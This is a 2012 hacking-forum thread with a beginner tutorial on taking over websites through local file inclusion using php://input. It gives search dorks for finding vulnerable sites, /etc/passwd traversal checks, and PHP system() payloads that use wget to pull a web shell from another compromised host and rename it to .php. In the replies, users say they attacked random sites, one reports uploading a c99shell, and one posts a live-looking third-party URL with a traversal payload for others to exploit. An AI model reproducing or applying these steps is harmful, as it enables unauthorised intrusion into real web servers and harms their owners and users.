![]() |
|
[LFI method] php://input - Noob friendly with pictures - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45) +--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449) +---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43) +---- Thread: [LFI method] php://input - Noob friendly with pictures (/showthread.php?tid=2384584) |
[LFI method] php://input - Noob friendly with pictures - HaxOr❤ - Apr 9, 2012 Things you will need: 1.) Site vulnerable to LFI (Local file inclusion) 2.) HackBar Chapter I - Finding vulnerable site Few Google dorks. Credits: -Downfall Code inurl:index.php?page=index.phpSo when you find some site like this: Code http://site.com/index.php?page=main.phpInstead of main.php put /etc/passwd and if you get something like this : [img]http://img820.imageshack.us/img820/723/regionme.png[/img] If you type php://input instead /etc/passwd and it doesn't throw error then it's vulnerable and we can continue. Chapter II - Exploiting So we have our vulnerable site. Code http://site.com/index.php?page=main.phpNow it's time to exploit it. Go here and install HackBar (If you don't have it already) Code https://addons.mozilla.org/en-US/firefox/addon/hackbar/Now open your site and Load URL into the hackbar. [img]http://img707.imageshack.us/img707/4452/regionfr.png[/img] [img]http://img703.imageshack.us/img703/4188/regionzz.png[/img] Good. Now replace everything next to = sign and replace it with Code php://inputLike this Code http://site.com/index.php?page=php://input[img]http://img853.imageshack.us/img853/8995/regionbx.png[/img] Now enable "Enable Post Data" [img]http://img811.imageshack.us/img811/8567/regionij.png[/img] You will get new box. There we will type our commands. Chapter III - How the fuck do i shell it? This part is simple. All you need to do is to put your commands into "Post Data" box. We start with simple ones like: Code <? system('id'); ?>[img]http://img641.imageshack.us/img641/2285/regiont.png[/img] As you can see it executed and it works pretty well. Now comes shelling part. If you have some hacked site,you can host your shell (In textual (.txt) format) I will use 404 Gny shell for this tutorial. We type Code <? system('wget www.site.com/shell.txt'); ?>(Replace link with your shell location) [img]http://img214.imageshack.us/img214/5299/regionqg.png[/img] To see if your shell downloaded type: Code <? system('ls'); ?>You got list of files in current directory. Search for your file (Mine one is aa.txt) (For simple search press CTRL+F and then type your filename there) [img]http://img823.imageshack.us/img823/4452/regionfr.png[/img] Final part is to rename aa.txt to aa.php. This simple command will do the trick: Code <? system('mv aa.txt aa.php'); ?>[img]http://img515.imageshack.us/img515/8532/regiondp.png[/img] Now we just access our shell. [img]http://img269.imageshack.us/img269/7311/regionhk.png[/img] [img]http://img191.imageshack.us/img191/9604/regionvj.png[/img] So that concludes our litlle tutorial. I hope you guys learned something new today. Video tutorial thanks to -Zer0Freak- Greetz to: Team INTRA, -Downfall, BeggFoMercy, Zer0Pwn... * - Puk$on - Apr 9, 2012 Nice tut, but that shell where can i download it? * - HaxOr❤ - Apr 9, 2012 (Apr 9, 2012 07:29 AM)PukkieGek Wrote: Nice tut, but that shell where can i download it? Thanks Pukkie! ✌ I'll PM you. * - Bacardi - Apr 9, 2012 Fantastic tutorial. Going to try it out on some websites. Thanks hax0r! * - HaxOr❤ - Apr 9, 2012 Thanks Bacardi. I think i will cover more tutorials on LFI methods. 🤝 * - 03storic - Apr 9, 2012 Great tutorial dude, I had never thought of using the POST feature of hackbar to inject for LFI, it makes thing's so much easier. * - joomlafkr - Apr 9, 2012 Good write-up Haxor ! Too bad tha LFI ain't very common nowadays :/ * - Eshta - Apr 9, 2012 Great tutorial, I wish if you could pm me a download link for that shell. Thanks * - -zerocool - Apr 9, 2012 Gonna try it now . Looks nice method. * - kalvin26 - Apr 9, 2012 nice one i already tried it and i upload a c99shell on one of the sites i got, thanks for this haxor can i also get that shell you use haxor? * - oH4i Hx0r - Apr 9, 2012 Finally, a guide that i fully understand!! Thank you! This guide is GREAT! * - fobber - Apr 9, 2012 Thanks you, HaxOr.. I really didn't knew that you could upload a shell using just LFI. Most of the time I get an error message, when I try to access /etc/passwd - but oh well. Guess I'll just have to keep looking!:) Quote:Not Found Edit: I finally found one where I could use /etc/passwd. But when I do php://input, then it gives me this: Quote:Warning: require(php://input) [function.require]: failed to open stream: operation failed in /home/content/g/a/r//html/admin/index.php on line 25 * - zer0pwn - Apr 9, 2012 Great tutorial! I love how you guys are almost bringing LFI back to life with all the methods (It's alive, but not on HF). Amazing tutorial, HaxOr. :) * - DCA00X - Apr 9, 2012 Well nice tut hax0r :o) - your are doing good. such as setting the permissions to read the /etc/shadaow file, I need to authorize my self as an admin on the server, before I can expande the view on the .shadow file such a scenario which I'm talking about is that, I explored this randomly website, just to test if your tut was working ofc. Then it gave me a internal error on apache.. saw it on the live http header, that the page did not load correctly, but spit out Error 505 or something like that. When I even tried to execute this script Code <? system('id'); ?>anyways I got this far, and not further... haha :) Code http://waste-mg.com/robotics/index.php?page=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwdfeel free to mess around with it ! - Nice work from hax0r right there!. I'm out. L8ter bitches <3 * - WhiteHat098 - Apr 9, 2012 Ghehe nice :D Can you PM me the shell? Tnx in advance. |